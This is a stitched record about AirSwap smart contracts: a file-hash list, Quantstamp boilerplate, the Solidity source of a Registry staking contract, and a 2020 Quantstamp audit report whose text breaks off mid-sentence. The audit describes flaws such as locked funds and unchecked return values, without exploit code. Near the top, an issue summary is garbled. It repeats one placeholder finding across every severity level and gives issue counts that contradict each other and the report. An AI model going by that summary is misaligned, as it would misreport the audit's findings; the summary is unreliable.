c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; /** * @title AirSwap Registry: Manage and query AirSwap server URLs * @notice https://www.airswap.io/ */ contract Registry { using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; IERC20 public immutable stakingToken; uint256 public immutable obligationCost; uint256 public immutable tokenCost; mapping(address => EnumerableSet.AddressSet) internal supportedTokens; mapping(address => EnumerableSet.AddressSet) internal supportingStakers; mapping(address => string) public stakerURLs; event InitialStake(address indexed account); event FullUnstake(address indexed account); event AddTokens(address indexed account, address[] tokens); event RemoveTokens(address indexed account, address[] tokens); event SetURL(address indexed account, string url); /** * @notice Constructor * @param _stakingToken address of token used for staking * @param _obligationCost base amount required to stake * @param _tokenCost amount required to stake per token */ constructor( IERC20 _stakingToken, uint256 _obligationCost, uint256 _tokenCost ) { stakingToken = _stakingToken; obligationCost = _obligationCost; tokenCost = _tokenCost; } /** * @notice Set the URL for a staker * @param _url string value of the URL */ function setURL(string calldata _url) external { stakerURLs[msg.sender] = _url; emit SetURL(msg.sender, _url); } /** * @notice Add tokens supported by the caller * @param tokens array of token addresses */ function addTokens(address[] calldata tokens) external { uint256 length = tokens.length; require(length > 0, "NO_TOKENS_TO_ADD"); EnumerableSet.AddressSet storage tokenList = supportedTokens[msg.sender]; uint256 transferAmount = 0; if (tokenList.length() == 0) { transferAmount = obligationCost; emit InitialStake(msg.sender); } for (uint256 i = 0; i < length; i++) { address token = tokens[i]; require(tokenList.add(token), "TOKEN_EXISTS"); supportingStakers[token].add(msg.sender); } transferAmount += tokenCost * length; emit AddTokens(msg.sender, tokens); if (transferAmount > 0) { stakingToken.safeTransferFrom(msg.sender, address(this), transferAmount); } } /** * @notice Remove tokens supported by the caller * @param tokens array of token addresses */ function removeTokens(address[] calldata tokens) external { uint256 length = tokens.length; require(length > 0, "NO_TOKENS_TO_REMOVE"); EnumerableSet.AddressSet storage tokenList = supportedTokens[msg.sender]; for (uint256 i = 0; i < length; i++) { address token = tokens[i]; require(tokenList.remove(token), "TOKEN_DOES_NOT_EXIST"); supportingStakers[token].remove(msg.sender); } uint256 transferAmount = tokenCost * length; if (tokenList.length() == 0) { transferAmount += obligationCost; emit FullUnstake(msg.sender); } emit RemoveTokens(msg.sender, tokens); if (transferAmount > 0) { stakingToken.safeTransfer(msg.sender, transferAmount); } } /** * @notice Remove all tokens supported by the caller */ function removeAllTokens() external { EnumerableSet.AddressSet storage supportedTokenList = supportedTokens[ msg.sender ]; uint256 length = supportedTokenList.length(); require(length > 0, "NO_TOKENS_TO_REMOVE"); address[] memory tokenList = new address[](length); for (uint256 i = length; i > 0; ) { i--; address token = supportedTokenList.at(i); tokenList[i] = token; supportedTokenList.remove(token); supportingStakers[token].remove(msg.sender); } uint256 transferAmount = obligationCost + tokenCost * length; emit FullUnstake(msg.sender); emit RemoveTokens(msg.sender, tokenList); if (transferAmount > 0) { stakingToken.safeTransfer(msg.sender, transferAmount); } } /** * @notice Return a list of all server URLs supporting a given token * @param token address of the token * @return urls array of server URLs supporting the token */ function getURLsForToken(address token) external view returns (string[] memory urls) { EnumerableSet.AddressSet storage stakers = supportingStakers[token]; uint256 length = stakers.length(); urls = new string[](length); for (uint256 i = 0; i < length; i++) { urls[i] = stakerURLs[address(stakers.at(i))]; } } /** * @notice Get the URLs for an array of stakers * @param stakers array of staker addresses * @return urls array of server URLs in the same order */ function getURLsForStakers(address[] calldata stakers) external view returns (string[] memory urls) { uint256 stakersLength = stakers.length; urls = new string[](stakersLength); for (uint256 i = 0; i < stakersLength; i++) { urls[i] = stakerURLs[stakers[i]]; } } /** * @notice Return whether a staker supports a given token * @param staker account address used to stake * @param token address of the token * @return true if the staker supports the token */ function supportsToken(address staker, address token) external view returns (bool) { return supportedTokens[staker].contains(token); } /** * @notice Return a list of all supported tokens for a given staker * @param staker account address of the staker * @return tokenList array of all the supported tokens */ function getSupportedTokens(address staker) external view returns (address[] memory tokenList) { EnumerableSet.AddressSet storage tokens = supportedTokens[staker]; uint256 length = tokens.length(); tokenList = new address[](length); for (uint256 i = 0; i < length; i++) { tokenList[i] = tokens.at(i); } } /** * @notice Return a list of all stakers supporting a given token * @param token address of the token * @return stakers array of all stakers that support a given token */ function getStakersForToken(address token) external view returns (address[] memory stakers) { EnumerableSet.AddressSet storage stakerList = supportingStakers[token]; uint256 length = stakerList.length(); stakers = new address[](length); for (uint256 i = 0; i < length; i++) { stakers[i] = stakerList.at(i); } } /** * @notice Return the staking balance of a given staker * @param staker address of the account used to stake * @return balance of the staker account */ function balanceOf(address staker) external view returns (uint256) { uint256 tokenCount = supportedTokens[staker].length(); if (tokenCount == 0) { return 0; } return obligationCost + tokenCost * tokenCount; } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the 